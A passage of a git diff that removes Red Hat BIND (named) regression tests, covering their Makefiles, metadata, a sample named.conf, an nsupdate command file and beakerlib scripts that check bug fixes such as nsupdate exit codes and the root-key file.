rlPhaseStartSetup - if rpm -q bind97; then - rlAssertRpm bind97-chroot - rlAssertRpm bind97-utils - else - rlAssertRpm bind-chroot - rlAssertRpm bind-utils - fi - - service named stop - rlPhaseEnd - - rlPhaseStartTest - rlRun "host -l foo.bar 127.0.0.1" 1 "Ensure the bug is fixed" - rlPhaseEnd - - rlPhaseStartCleanup - #rlServiceRestore named - rlPhaseEnd -rlJournalPrintText -rlJournalEnd diff --git a/Regression/bz667375-named-root-key/Makefile b/Regression/bz667375-named-root-key/Makefile deleted file mode 100644 index 8ba3dcf..0000000 --- a/Regression/bz667375-named-root-key/Makefile +++ /dev/null @@ -1,65 +0,0 @@ -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# Makefile of /CoreOS/bind/Regression/bz667375-named-root-key -# Description: bz667375-named-root-key -# Author: Martin Cermak -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# Copyright (c) 2011 Red Hat, Inc. All rights reserved. -# -# This copyrighted material is made available to anyone wishing -# to use, modify, copy, or redistribute it subject to the terms -# and conditions of the GNU General Public License version 2. -# -# This program is distributed in the hope that it will be -# useful, but WITHOUT ANY WARRANTY; without even the implied -# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR -# PURPOSE. See the GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public -# License along with this program; if not, write to the Free -# Software Foundation, Inc., 51 Franklin Street, Fifth Floor, -# Boston, MA 02110-1301, USA. -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -export TEST=/CoreOS/bind/Regression/bz667375-named-root-key -export TESTVERSION=1.0 - -BUILT_FILES= - -FILES=$(METADATA) runtest.sh Makefile PURPOSE - -.PHONY: all install download clean - -run: $(FILES) build - ./runtest.sh - -build: $(BUILT_FILES) - chmod a+x runtest.sh - -clean: - rm -f *~ $(BUILT_FILES) - - -include $(realpath /usr/share/rhts/lib/rhts-make.include) - -$(METADATA): Makefile - @echo "Owner: Martin Cermak " > $(METADATA) - @echo "Name: $(TEST)" >> $(METADATA) - @echo "TestVersion: $(TESTVERSION)" >> $(METADATA) - @echo "Path: $(TEST_DIR)" >> $(METADATA) - @echo "Description: bz667375-named-root-key" >> $(METADATA) - @echo "Type: Regression" >> $(METADATA) - @echo "TestTime: 15m" >> $(METADATA) - @echo "RunFor: bind" >> $(METADATA) - @echo "Requires: bind" >> $(METADATA) - @echo "Priority: Normal" >> $(METADATA) - @echo "License: GPLv2" >> $(METADATA) - @echo "Confidential: no" >> $(METADATA) - @echo "Destructive: no" >> $(METADATA) - @echo "Bug: 667375" >> $(METADATA) - @echo "Releases: -RedHatEnterpriseLinux3 -RedHatEnterpriseLinux4 -RedHatEnterpriseLinuxClient5 -RedHatEnterpriseLinuxServer5" >> $(METADATA) - - [ -x /usr/bin/rhts-lint ] && rhts-lint $(METADATA) diff --git a/Regression/bz667375-named-root-key/PURPOSE b/Regression/bz667375-named-root-key/PURPOSE deleted file mode 100644 index 7b538e3..0000000 --- a/Regression/bz667375-named-root-key/PURPOSE +++ /dev/null @@ -1,7 +0,0 @@ -PURPOSE of /CoreOS/bind/Regression/bz667375-named-root-key -Description: bz667375-named-root-key -Author: Martin Cermak -Bug summary: Ship root zone DNSKEY in the bind package -Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=667375 - - diff --git a/Regression/bz667375-named-root-key/main.fmf b/Regression/bz667375-named-root-key/main.fmf deleted file mode 100644 index a6d1b45..0000000 --- a/Regression/bz667375-named-root-key/main.fmf +++ /dev/null @@ -1,25 +0,0 @@ -summary: bz667375-named-root-key -description: |+ - Bug summary: Ship root zone DNSKEY in the bind package - Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=667375 - - -contact: Petr Sklenar -component: -- bind -test: ./runtest.sh -require: -- bind -duration: 15m -enabled: true -tag: -- NoRHEL3 -- NoRHEL4 -- NoRHEL5 -- TIPfail_infra -- TIPpass -- Tier1 -tier: '1' -extra-summary: /CoreOS/bind/Regression/bz667375-named-root-key -extra-task: /CoreOS/bind/Regression/bz667375-named-root-key -extra-nitrate: TC#0126568 diff --git a/Regression/bz667375-named-root-key/runtest.sh b/Regression/bz667375-named-root-key/runtest.sh deleted file mode 100755 index 3c5e30f..0000000 --- a/Regression/bz667375-named-root-key/runtest.sh +++ /dev/null @@ -1,37 +0,0 @@ -#!/bin/bash -# vim: dict=/usr/share/beakerlib/dictionary.vim cpt=.,w,b,u,t,i,k -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# runtest.sh of /CoreOS/bind/Regression/bz667375-named-root-key -# Description: bz667375-named-root-key -# Author: Martin Cermak -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# Copyright (c) 2011 Red Hat, Inc. All rights reserved. -# -# This copyrighted material is made available to anyone wishing -# to use, modify, copy, or redistribute it subject to the terms -# and conditions of the GNU General Public License version 2. -# -# This program is distributed in the hope that it will be -# useful, but WITHOUT ANY WARRANTY; without even the implied -# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR -# PURPOSE. See the GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public -# License along with this program; if not, write to the Free -# Software Foundation, Inc., 51 Franklin Street, Fifth Floor, -# Boston, MA 02110-1301, USA. -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -# Include rhts environment -. /usr/bin/rhts-environment.sh -. /usr/lib/beakerlib/beakerlib.sh - -rlJournalStart - rlPhaseStartTest - rlRun "rpm -qf /etc/named.root.key" - rlPhaseEnd -rlJournalEnd diff --git a/Regression/bz692758-When-named-is-started-the-working-directory-is/Makefile b/Regression/bz692758-When-named-is-started-the-working-directory-is/Makefile deleted file mode 100644 index 571d7ea..0000000 --- a/Regression/bz692758-When-named-is-started-the-working-directory-is/Makefile +++ /dev/null @@ -1,64 +0,0 @@ -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# Makefile of /CoreOS/bind/Regression/bz692758-When-named-is-started-the-working-directory-is -# Description: Test for bz692758 (When named is started, "the working directory is) -# Author: Juraj Marko -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# Copyright (c) 2011 Red Hat, Inc. All rights reserved. -# -# This copyrighted material is made available to anyone wishing -# to use, modify, copy, or redistribute it subject to the terms -# and conditions of the GNU General Public License version 2. -# -# This program is distributed in the hope that it will be -# useful, but WITHOUT ANY WARRANTY; without even the implied -# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR -# PURPOSE. See the GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public -# License along with this program; if not, write to the Free -# Software Foundation, Inc., 51 Franklin Street, Fifth Floor, -# Boston, MA 02110-1301, USA. -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -export TEST=/CoreOS/bind/Regression/bz692758-When-named-is-started-the-working-directory-is -export TESTVERSION=1.0 - -BUILT_FILES= - -FILES=$(METADATA) runtest.sh Makefile PURPOSE named.conf - -.PHONY: all install download clean - -run: $(FILES) build - ./runtest.sh - -build: $(BUILT_FILES) - test -x runtest.sh || chmod a+x runtest.sh - -clean: - rm -f *~ $(BUILT_FILES) - - -include $(realpath /usr/share/rhts/lib/rhts-make.include) - -$(METADATA): Makefile - @echo "Owner: Martin Cermak " > $(METADATA) - @echo "Name: $(TEST)" >> $(METADATA) - @echo "TestVersion: $(TESTVERSION)" >> $(METADATA) - @echo "Path: $(TEST_DIR)" >> $(METADATA) - @echo "Description: Test for bz692758 (When named is started, \"the working directory is)" >> $(METADATA) - @echo "Type: Regression" >> $(METADATA) - @echo "TestTime: 5m" >> $(METADATA) - @echo "RunFor: bind" >> $(METADATA) - @echo "Requires: bind bind-chroot" >> $(METADATA) - @echo "Priority: Normal" >> $(METADATA) - @echo "License: GPLv2" >> $(METADATA) - @echo "Confidential: no" >> $(METADATA) - @echo "Destructive: no" >> $(METADATA) - @echo "Bug: 692758" >> $(METADATA) - - [ -x /usr/bin/rhts-lint ] && rhts-lint $(METADATA) diff --git a/Regression/bz692758-When-named-is-started-the-working-directory-is/PURPOSE b/Regression/bz692758-When-named-is-started-the-working-directory-is/PURPOSE deleted file mode 100644 index e8ab910..0000000 --- a/Regression/bz692758-When-named-is-started-the-working-directory-is/PURPOSE +++ /dev/null @@ -1,5 +0,0 @@ -PURPOSE of /CoreOS/bind/Regression/bz692758-When-named-is-started-the-working-directory-is -Description: Test for bz692758 (When named is started, "the working directory is) -Author: Juraj Marko -Bug summary: When named is started, "the working directory is not writable" message is reported. -Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=692758 diff --git a/Regression/bz692758-When-named-is-started-the-working-directory-is/main.fmf b/Regression/bz692758-When-named-is-started-the-working-directory-is/main.fmf deleted file mode 100644 index 98c1189..0000000 --- a/Regression/bz692758-When-named-is-started-the-working-directory-is/main.fmf +++ /dev/null @@ -1,25 +0,0 @@ -summary: Test for bz692758 (When named is started, "the working directory is) -description: | - Bug summary: When named is started, "the working directory is not writable" message is reported. - Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=692758 -contact: Petr Sklenar -component: -- bind -test: ./runtest.sh -require: -- bind -- bind-chroot -duration: 5m -enabled: true -tag: -- TIPfail -- TIPfail_infra -- TIPpass_FIPS -- Tier1 -- TipWaived5 -tier: '1' -relevancy: | - distro = rhel-3, rhel-4, rhel-5: False -extra-summary: /CoreOS/bind/Regression/bz692758-When-named-is-started-the-working-directory-is -extra-task: /CoreOS/bind/Regression/bz692758-When-named-is-started-the-working-directory-is -extra-nitrate: TC#0126567 diff --git a/Regression/bz692758-When-named-is-started-the-working-directory-is/named.conf b/Regression/bz692758-When-named-is-started-the-working-directory-is/named.conf deleted file mode 100644 index 172958f..0000000 --- a/Regression/bz692758-When-named-is-started-the-working-directory-is/named.conf +++ /dev/null @@ -1,41 +0,0 @@ -// -// named.conf -// -// Provided by Red Hat bind package to configure the ISC BIND named(8) DNS -// server as a caching only nameserver (as a localhost DNS resolver only). -// -// See /usr/share/doc/bind*/sample/ for example named configuration files. -// - -options { - listen-on port 53 { 127.0.0.1; }; - listen-on-v6 port 53 { ::1; }; - directory "/var/named"; - dump-file "/var/named/data/cache_dump.db"; - statistics-file "/var/named/data/named_stats.txt"; - memstatistics-file "/var/named/data/named_mem_stats.txt"; - allow-query { localhost; }; - recursion yes; - - dnssec-enable yes; - dnssec-validation yes; - dnssec-lookaside auto; - - /* Path to ISC DLV key */ - bindkeys-file "/etc/named.iscdlv.key"; -}; - -logging { - channel default_debug { - file "data/named.run"; - severity dynamic; - }; -}; - -zone "." IN { - type hint; - file "named.ca"; -}; - -include "/etc/named.rfc1912.zones"; - diff --git a/Regression/bz692758-When-named-is-started-the-working-directory-is/runtest.sh b/Regression/bz692758-When-named-is-started-the-working-directory-is/runtest.sh deleted file mode 100755 index 1ec3267..0000000 --- a/Regression/bz692758-When-named-is-started-the-working-directory-is/runtest.sh +++ /dev/null @@ -1,57 +0,0 @@ -#!/bin/bash -# runtest.sh of /CoreOS/bind/Regression/bz692758-When-named-is-started-the-working-directory-is -# Description: Test for bz692758 (When named is started, "the working directory is) -# Author: Juraj Marko -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# Copyright (c) 2011 Red Hat, Inc. All rights reserved. -# -# This copyrighted material is made available to anyone wishing -# to use, modify, copy, or redistribute it subject to the terms -# and conditions of the GNU General Public License version 2. -# -# This program is distributed in the hope that it will be -# useful, but WITHOUT ANY WARRANTY; without even the implied -# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR -# PURPOSE. See the GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public -# License along with this program; if not, write to the Free -# Software Foundation, Inc., 51 Franklin Street, Fifth Floor, -# Boston, MA 02110-1301, USA. -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -# Include Beaker environment -. /usr/bin/rhts-environment.sh -. /usr/lib/beakerlib/beakerlib.sh - -rpm -q bind97-libs && PACKAGE="bind97-chroot" || PACKAGE="bind-chroot" - -rlJournalStart - rlPhaseStartSetup - rlAssertRpm $PACKAGE - rlRun "TmpDir=\$(mktemp -d)" 0 "Creating tmp directory" - rlFileBackup --clean "/etc/named.conf" "/var/named/data/named.run" "/etc/rndc.key" - rlRun " cp ./named.conf /etc/named.conf" 0 "copy named.conf" - rlRun "pushd $TmpDir" - rlServiceStop named - rlPhaseEnd - - rlPhaseStartTest - rlFileBackup /var/log/messages - rlServiceStart named - rlServiceStop named - rlRun "tail -n 100 /var/log/messages | grep \"the working directory is not writable\"" 1 "working directory is writable" - rlPhaseEnd - - rlPhaseStartCleanup - rlFileRestore - rlServiceRestore named - rlRun "popd" - rlRun "rm -r $TmpDir" 0 "Removing tmp directory" - rlPhaseEnd -rlJournalPrintText -rlJournalEnd - diff --git a/Regression/bz700097-nsupdate-returns-success-when-target-zone-does-not/Makefile b/Regression/bz700097-nsupdate-returns-success-when-target-zone-does-not/Makefile deleted file mode 100644 index 4e38039..0000000 --- a/Regression/bz700097-nsupdate-returns-success-when-target-zone-does-not/Makefile +++ /dev/null @@ -1,64 +0,0 @@ -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# Makefile of /CoreOS/bind/Regression/bz700097-nsupdate-returns-success-when-target-zone-does-not -# Description: Test for bz700097 (nsupdate returns success when target zone does not) -# Author: Juraj Marko -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# Copyright (c) 2011 Red Hat, Inc. All rights reserved. -# -# This copyrighted material is made available to anyone wishing -# to use, modify, copy, or redistribute it subject to the terms -# and conditions of the GNU General Public License version 2. -# -# This program is distributed in the hope that it will be -# useful, but WITHOUT ANY WARRANTY; without even the implied -# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR -# PURPOSE. See the GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public -# License along with this program; if not, write to the Free -# Software Foundation, Inc., 51 Franklin Street, Fifth Floor, -# Boston, MA 02110-1301, USA. -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -export TEST=/CoreOS/bind/Regression/bz700097-nsupdate-returns-success-when-target-zone-does-not -export TESTVERSION=1.0 - -BUILT_FILES= - -FILES=$(METADATA) runtest.sh Makefile PURPOSE nsupdate.cmd - -.PHONY: all install download clean - -run: $(FILES) build - ./runtest.sh - -build: $(BUILT_FILES) - chmod a+x runtest.sh - -clean: - rm -f *~ $(BUILT_FILES) - - -include $(realpath /usr/share/rhts/lib/rhts-make.include) - -$(METADATA): Makefile - @echo "Owner: Martin Cermak " > $(METADATA) - @echo "Name: $(TEST)" >> $(METADATA) - @echo "TestVersion: $(TESTVERSION)" >> $(METADATA) - @echo "Path: $(TEST_DIR)" >> $(METADATA) - @echo "Description: Test for bz700097 (nsupdate returns success when target zone does not)" >> $(METADATA) - @echo "Type: Regression" >> $(METADATA) - @echo "TestTime: 5m" >> $(METADATA) - @echo "RunFor: bind" >> $(METADATA) - @echo "Requires: bind bind-utils" >> $(METADATA) - @echo "Priority: Normal" >> $(METADATA) - @echo "License: GPLv2" >> $(METADATA) - @echo "Confidential: no" >> $(METADATA) - @echo "Destructive: no" >> $(METADATA) - @echo "Bug: 700097" >> $(METADATA) - - [ -x /usr/bin/rhts-lint ] && rhts-lint $(METADATA) diff --git a/Regression/bz700097-nsupdate-returns-success-when-target-zone-does-not/PURPOSE b/Regression/bz700097-nsupdate-returns-success-when-target-zone-does-not/PURPOSE deleted file mode 100644 index 883f00c..0000000 --- a/Regression/bz700097-nsupdate-returns-success-when-target-zone-does-not/PURPOSE +++ /dev/null @@ -1,5 +0,0 @@ -PURPOSE of /CoreOS/bind/Regression/bz700097-nsupdate-returns-success-when-target-zone-does-not -Description: Test for bz700097 (nsupdate returns success when target zone does not) -Author: Juraj Marko -Bug summary: nsupdate returns success when target zone does not exist -Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=700097 diff --git a/Regression/bz700097-nsupdate-returns-success-when-target-zone-does-not/main.fmf b/Regression/bz700097-nsupdate-returns-success-when-target-zone-does-not/main.fmf deleted file mode 100644 index 551a2db..0000000 --- a/Regression/bz700097-nsupdate-returns-success-when-target-zone-does-not/main.fmf +++ /dev/null @@ -1,23 +0,0 @@ -summary: Test for bz700097 (nsupdate returns success when target zone does not) -description: | - Bug summary: nsupdate returns success when target zone does not exist - Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=700097 -contact: Petr Sklenar -component: -- bind -test: ./runtest.sh -require: -- bind -- bind-utils -duration: 5m -enabled: true -tag: -- TIPpass -- Tier1 -- destructive -- destructive_el8 -- tip_destructive_el8 -tier: '1' -extra-summary: /CoreOS/bind/Regression/bz700097-nsupdate-returns-success-when-target-zone-does-not -extra-task: /CoreOS/bind/Regression/bz700097-nsupdate-returns-success-when-target-zone-does-not -extra-nitrate: TC#0126564 diff --git a/Regression/bz700097-nsupdate-returns-success-when-target-zone-does-not/nsupdate.cmd b/Regression/bz700097-nsupdate-returns-success-when-target-zone-does-not/nsupdate.cmd deleted file mode 100644 index c19783b..0000000 --- a/Regression/bz700097-nsupdate-returns-success-when-target-zone-does-not/nsupdate.cmd +++ /dev/null @@ -1,5 +0,0 @@ -zone localhost. -update delete foo.localhost. IN A -send -update add foo.localhost. 1200 IN A 10.16.78.134 -send diff --git a/Regression/bz700097-nsupdate-returns-success-when-target-zone-does-not/runtest.sh b/Regression/bz700097-nsupdate-returns-success-when-target-zone-does-not/runtest.sh deleted file mode 100755 index a2959be..0000000 --- a/Regression/bz700097-nsupdate-returns-success-when-target-zone-does-not/runtest.sh +++ /dev/null @@ -1,57 +0,0 @@ -#!/bin/bash -# vim: dict=/usr/share/beakerlib/dictionary.vim cpt=.,w,b,u,t,i,k -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# runtest.sh of /CoreOS/bind/Regression/bz700097-nsupdate-returns-success-when-target-zone-does-not -# Description: Test for bz700097 (nsupdate returns success when target zone does not) -# Author: Juraj Marko -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# Copyright (c) 2011 Red Hat, Inc. All rights reserved. -# -# This copyrighted material is made available to anyone wishing -# to use, modify, copy, or redistribute it subject to the terms -# and conditions of the GNU General Public License version 2. -# -# This program is distributed in the hope that it will be -# useful, but WITHOUT ANY WARRANTY; without even the implied -# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR -# PURPOSE. See the GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public -# License along with this program; if not, write to the Free -# Software Foundation, Inc., 51 Franklin Street, Fifth Floor, -# Boston, MA 02110-1301, USA. -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -# Include Beaker environment -. /usr/bin/rhts-environment.sh -. /usr/lib/beakerlib/beakerlib.sh - - -rlJournalStart -# according to bz758397, this shouldn't be run against bind97: -if rpm -q bind97 &> /dev/null; then - rlPhaseStartTest - rlAssertRpm bind97 - rlLogInfo "This test is not intended to rin with bind97, skipping." - rlPhaseEnd -else - rlPhaseStartSetup - rlAssertRpm bind-utils - rlServiceStart named - rlPhaseEnd - - rlPhaseStartTest - rlRun "nsupdate -g -l nsupdate.cmd" 1,2 "nsupdate should fail" - rlRun "nsupdate -l nsupdate.cmd" 2 "nsupdate should fail with exitcode 2" - rlPhaseEnd - - rlPhaseStartCleanup - rlServiceRestore named - rlPhaseEnd -fi -rlJournalPrintText -rlJournalEnd diff --git a/Regression/bz717468-RFE-configtest-returned-to-RHEL6-bind-initscript/Makefile b/Regression/bz717468-RFE-configtest-returned-to-RHEL6-bind-initscript/Makefile deleted file mode 100644 index 10d1d44..0000000 --- a/Regression/bz717468-RFE-configtest-returned-to-RHEL6-bind-initscript/Makefile +++ /dev/null @@ -1,65 +0,0 @@ -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# Makefile of /CoreOS/bind/Regression/bz717468-RFE-configtest-returned-to-RHEL6-bind-initscript -# Description: Test for bz717468 (RFE: configtest returned to RHEL6 bind initscript) -# Author: Juraj Marko -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# Copyright (c) 2011 Red Hat, Inc. All rights reserved. -# -# This copyrighted material is made available to anyone wishing -# to use, modify, copy, or redistribute it subject to the terms -# and conditions of the GNU General Public License version 2. -# -# This program is distributed in the hope that it will be -# useful, but WITHOUT ANY WARRANTY; without even the implied -# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR -# PURPOSE. See the GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public -# License along with this program; if not, write to the Free -# Software Foundation, Inc., 51 Franklin Street, Fifth Floor, -# Boston, MA 02110-1301, USA. -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -export TEST=/CoreOS/bind/Regression/bz717468-RFE-configtest-returned-to-RHEL6-bind-initscript -export TESTVERSION=1.0 - -BUILT_FILES= - -FILES=$(METADATA) runtest.sh Makefile PURPOSE - -.PHONY: all install download clean - -run: $(FILES) build - ./runtest.sh - -build: $(BUILT_FILES) - chmod a+x runtest.sh - -clean: - rm -f *~ $(BUILT_FILES) - - -include $(realpath /usr/share/rhts/lib/rhts-make.include) - -$(METADATA): Makefile - @echo "Owner: Petr Sklenar " > $(METADATA) - @echo "Name: $(TEST)" >> $(METADATA) - @echo "TestVersion: $(TESTVERSION)" >> $(METADATA) - @echo "Path: $(TEST_DIR)" >> $(METADATA) - @echo "Description: Test for bz717468 (RFE: configtest returned to RHEL6 bind initscript)" >> $(METADATA) - @echo "Type: Regression" >> $(METADATA) - @echo "TestTime: 5m" >> $(METADATA) - @echo "RunFor: bind" >> $(METADATA) - @echo "Requires: bind" >> $(METADATA) - @echo "Priority: Normal" >> $(METADATA) - @echo "License: GPLv2" >> $(METADATA) - @echo "Confidential: no" >> $(METADATA) - @echo "Destructive: no" >> $(METADATA) - @echo "Bug: 717468" >> $(METADATA) - @echo "Releases: -RHEL3 -RHEL4 -RHELServer5 -RHELClient5" >> $(METADATA) - - [ -x /usr/bin/rhts-lint ] && rhts-lint $(METADATA) diff --git a/Regression/bz717468-RFE-configtest-returned-to-RHEL6-bind-initscript/PURPOSE b/Regression/bz717468-RFE-configtest-returned-to-RHEL6-bind-initscript/PURPOSE deleted file mode 100644 index 045bc54..0000000 --- a/Regression/bz717468-RFE-configtest-returned-to-RHEL6-bind-initscript/PURPOSE +++ /dev/null @@ -1,5 +0,0 @@ -PURPOSE of /CoreOS/bind/Regression/bz717468-RFE-configtest-returned-to-RHEL6-bind-initscript -Description: Test for bz717468 (RFE: configtest returned to RHEL6 bind initscript) -Author: Juraj Marko -Bug summary: RFE: configtest returned to RHEL6 bind initscript -Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=717468 diff --git a/Regression/bz717468-RFE-configtest-returned-to-RHEL6-bind-initscript/main.fmf b/Regression/bz717468-RFE-configtest-returned-to-RHEL6-bind-initscript/main.fmf deleted file mode 100644 index 3eb5dcc..0000000 --- a/Regression/bz717468-RFE-configtest-returned-to-RHEL6-bind-initscript/main.fmf +++ /dev/null @@ -1,25 +0,0 @@ -summary: 'Test for bz717468 (RFE: configtest returned to RHEL6 bind initscript)' -description: | - Bug summary: RFE: configtest returned to RHEL6 bind initscript - Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=717468 -contact: Petr Sklenar -component: -- bind -test: ./runtest.sh -require: -- bind -duration: 5m -enabled: true -tag: -- NoRHEL3 -- NoRHEL4 -- NoRHEL5 -- TIPfail_infra -- TIPpass -- Tier1 -tier: '1' -relevancy: | - distro = rhel-3, rhel-4, rhel-5: False -extra-summary: /CoreOS/bind/Regression/bz717468-RFE-configtest-returned-to-RHEL6-bind-initscript -extra-task: /CoreOS/bind/Regression/bz717468-RFE-configtest-returned-to-RHEL6-bind-initscript -extra-nitrate: TC#0126559 diff --git a/Regression/bz717468-RFE-configtest-returned-to-RHEL6-bind-initscript/runtest.sh b/Regression/bz717468-RFE-configtest-returned-to-RHEL6-bind-initscript/runtest.sh deleted file mode 100755 index 889708d..0000000 --- a/Regression/bz717468-RFE-configtest-returned-to-RHEL6-bind-initscript/runtest.sh +++ /dev/null @@ -1,59 +0,0 @@ -#!/bin/bash -# vim: dict=/usr/share/beakerlib/dictionary.vim cpt=.,w,b,u,t,i,k -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# runtest.sh of /CoreOS/bind/Regression/bz717468-RFE-configtest-returned-to-RHEL6-bind-initscript -# Description: Test for bz717468 (RFE: configtest returned to RHEL6 bind initscript) -# Author: Juraj Marko -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# Copyright (c) 2011 Red Hat, Inc. All rights reserved. -# -# This copyrighted material is made available to anyone wishing -# to use, modify, copy, or redistribute it subject to the terms -# and conditions of the GNU General Public License version 2. -# -# This program is distributed in the hope that it will be -# useful, but WITHOUT ANY WARRANTY; without even the implied -# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR -# PURPOSE. See the GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public -# License along with this program; if not, write to the Free -# Software Foundation, Inc., 51 Franklin Street, Fifth Floor, -# Boston, MA 02110-1301, USA. -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -# Include Beaker environment -. /usr/bin/rhts-environment.sh -. /usr/lib/beakerlib/beakerlib.sh - -PACKAGE="bind" - -rlJournalStart - rlPhaseStartSetup - rlAssertRpm $PACKAGE - rlRun "TmpDir=\`mktemp -d\`" 0 "Creating tmp directory" - rlRun "pushd $TmpDir" - rlPhaseEnd - - rlPhaseStartTest - if rlIsRHEL "<7";then - rlLog "rhel<7" - rlRun "/etc/init.d/named configtest" 0 "named configtest is working" - rlRun "/etc/init.d/named configtest | grep zone" 0 "there should be zone in output" - else - rlLog "rhel>=7" - rlRun "/usr/sbin/named-checkconf" - rlRun "/usr/sbin/named-checkconf -z /etc/named.conf | grep 'zone local'" - fi - rlPhaseEnd - - rlPhaseStartCleanup - rlRun "popd" - rlRun "rm -r $TmpDir" 0 "Removing tmp directory" - rlPhaseEnd -rlJournalPrintText -rlJournalEnd diff --git a/Regression/bz768798-Bind-does-not-provide-etc-rndc-key/Makefile b/Regression/bz768798-Bind-does-not-provide-etc-rndc-key/Makefile deleted file mode 100644 index a64142e..0000000 --- a/Regression/bz768798-Bind-does-not-provide-etc-rndc-key/Makefile +++ /dev/null @@ -1,64 +0,0 @@ -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# Makefile of /CoreOS/bind/Regression/bz768798-Bind-does-not-provide-etc-rndc-key -# Description: Test for BZ#768798 (Bind does not provide /etc/rndc.key) -# Author: Juraj Marko -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# Copyright (c) 2012 Red Hat, Inc. All rights reserved. -# -# This copyrighted material is made available to anyone wishing -# to use, modify, copy, or redistribute it subject to the terms -# and conditions of the GNU General Public License version 2. -# -# This program is distributed in the hope that it will be -# useful, but WITHOUT ANY WARRANTY; without even the implied -# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR -# PURPOSE. See the GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public -# License along with this program; if not, write to the Free -# Software Foundation, Inc., 51 Franklin Street, Fifth Floor, -# Boston, MA 02110-1301, USA. -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -export TEST=/CoreOS/bind/Regression/bz768798-Bind-does-not-provide-etc-rndc-key -export TESTVERSION=1.0 - -BUILT_FILES= - -FILES=$(METADATA) runtest.sh Makefile PURPOSE - -.PHONY: all install download clean - -run: $(FILES) build - ./runtest.sh - -build: $(BUILT_FILES) - test -x runtest.sh || chmod a+x runtest.sh - -clean: - rm -f 